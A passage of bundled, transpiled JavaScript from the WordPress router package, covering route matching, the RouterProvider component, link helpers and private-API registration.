...matchResolverArgs }) ]; } return [key, value]; }) ); return Object.fromEntries(entries); }; const [resolvedAreas, resolvedWidths] = await Promise.all([ resolveFunctions(matchedRoute.areas), resolveFunctions(matchedRoute.widths) ]); setMatch({ name: matchedRoute.name, areas: resolvedAreas, widths: resolvedWidths, params: result.params, query, path: (0, import_url.addQueryArgs)(path, query) }); } if (!ret) { setMatch({ name: "404", path: (0, import_url.addQueryArgs)(path, query), areas: {}, widths: {}, query, params: {} }); } else { resolveMatch(ret); } return () => setMatch(void 0); }, [matcher, rawQuery, pathArg, matchResolverArgs]); return resolvedMatch; } function RouterProvider({ routes, pathArg, beforeNavigate, children, matchResolverArgs }) { const location = (0, import_element.useSyncExternalStore)( history.listen, getLocationWithQuery, getLocationWithQuery ); const matcher = (0, import_element.useMemo)(() => { const ret = new route_recognizer_es_default(); (routes ?? []).forEach((route) => { ret.add([{ path: route.path, handler: route }], { as: route.name }); }); return ret; }, [routes]); const match2 = useMatch(location, matcher, pathArg, matchResolverArgs); const previousMatch = (0, import_compose.usePrevious)(match2); const config = (0, import_element.useMemo)( () => ({ beforeNavigate, pathArg }), [beforeNavigate, pathArg] ); const renderedMatch = match2 || previousMatch; if (!renderedMatch) { return null; } return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(ConfigContext.Provider, { value: config, children: /* @__PURE__ */ (0, import_jsx_runtime.jsx)(RoutesContext.Provider, { value: renderedMatch, children }) }); } // packages/router/build-module/link.mjs var import_element2 = __toESM(require_element(), 1); var import_url2 = __toESM(require_url(), 1); var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1); function useLink(to2, options = {}) { const history2 = useHistory(); const { pathArg, beforeNavigate } = (0, import_element2.useContext)(ConfigContext); function onClick(event) { event?.preventDefault(); history2.navigate(to2, options); } const query = (0, import_url2.getQueryArgs)(to2); const path = (0, import_url2.getPath)("http://domain.com/" + to2) ?? ""; const link = (0, import_element2.useMemo)(() => { return beforeNavigate ? beforeNavigate({ path, query }) : { path, query }; }, [path, query, beforeNavigate]); const [before] = window.location.href.split("?"); return { href: `${before}?${(0, import_url2.buildQueryString)({ [pathArg]: link.path, ...link.query })}`, onClick }; } function Link({ to: to2, options, children, ...props }) { const { href, onClick } = useLink(to2, options); return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)("a", { href, onClick, ...props, children }); } // packages/router/build-module/lock-unlock.mjs var import_private_apis = __toESM(require_private_apis(), 1); var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)( "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.", "@wordpress/router" ); // packages/router/build-module/private-apis.mjs var privateApis = {}; lock(privateApis, { useHistory, useLocation, RouterProvider, useLink, Link }); return __toCommonJS(index_exports); })();
Close